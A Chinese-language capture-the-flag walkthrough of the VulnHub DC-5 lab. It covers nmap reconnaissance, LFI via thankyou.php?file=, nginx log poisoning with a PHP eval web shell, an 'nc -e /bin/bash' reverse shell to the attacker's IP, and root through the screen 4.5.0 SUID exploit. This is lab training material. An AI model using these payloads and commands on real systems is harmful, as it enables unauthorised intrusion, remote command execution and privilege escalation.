一、实验环境
攻击机(kali): 192.168.189.148
靶机(ubuntu): 192.168.189.184
靶机下载地址:https://www.vulnhub.com/entry/dc-5,314/
二、信息收集
1、使用nmap进行存活主机探测
nmap 192.168.189.0/24
2、发现IP192.168.189.184开放80,111端口,再次使用nmap对其进行扫描
nmap 192.168.189.184 -sV -T4 -A -p-
3、访问其80端口
4、浏览页面并没有发现可以进行漏洞利用的地方,使用御剑对其进行目录扫描
5、挨个访问扫描出的目录 ,发现footer.php目录是刚才我们没有浏览过的,但是他只有一个类似于版权信息的东西,并没有什么有价值的
6、回到我们的网站、在concat.php下是唯一我们可以进行交互的地方,随便提交一个东西上去
7、在我们提交之后,网页跳转到了thankyou.php目录下,但是除了带了一些参数之外还是没有发现有价值的东西,再提交一次之后我们发现一个细节,就是网站最下面的版权信息发生了变化。
8、回到之前的footer.php目录下,刷新网页发现这里的信息也会发现改变
9、这里我们猜测是thankyou.php文件中包含了footer.php文件,所以在thankyou.php目录下可能会存在文件包含漏洞,然后可以我们fuzz下文件包含的参数
10、通过fuzz我们可以知道文件包含的参数为file
三、漏洞利用
1、利用文件包含来读取文件
http://192.168.189.184/thankyou.php?file=/etc/passwd
2、通过上述操作我们确定该站点存在文件包含漏洞,且参数为file,在之前我们通过nmap的扫描结果可以知道该站点的web服务器为nginx,所以我们可以去包含nginx的日志文件
Nginx的默认访问日志文件为 /var/log/nginx/access.log
3、我们可以将将一句话木马写入到php的日志文件中,然后去包含日志文件
我们先写一个phpinfo验证一下
<?php phpinfo();?>
写入一句话木马
<?php @eval($_POST['cmd']);?>
4、使用蚁剑连接
5、反弹shell到kali
nc -e /bin/bash 192.168.189.148 7777
6、利用python起一个交互式页面
python -c "import pty;pty.spawn('/bin/bash')"
四、权限提升
1、查看哪些命令有suid 权限
find / -user root -perm -4000 -print 2>/dev/null
2、我们可以发现screen的文件,在kali中搜索相关的漏洞
searchsploit screen 4.5.0
3、将该41154.sh文件拷贝下来
mkdir screen
cp /usr/share/exploitdb/exploits/linux/local/41154.sh /root/screen
4、以记事本方式打开41154.sh文件,将其中的代码分为3个部分
5、 三个文件创建完成之后,根据文件中的提示内容进行编译(这里记得修改路径)
gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c
6、编译完成之后,将编译后生成的文件和run.sh文件通过蚁剑上传到目标站点
7、上传之后运行run.sh文件即可获得一个root权限
chmod 777 run.sh
./run.sh
8、成功拿到flag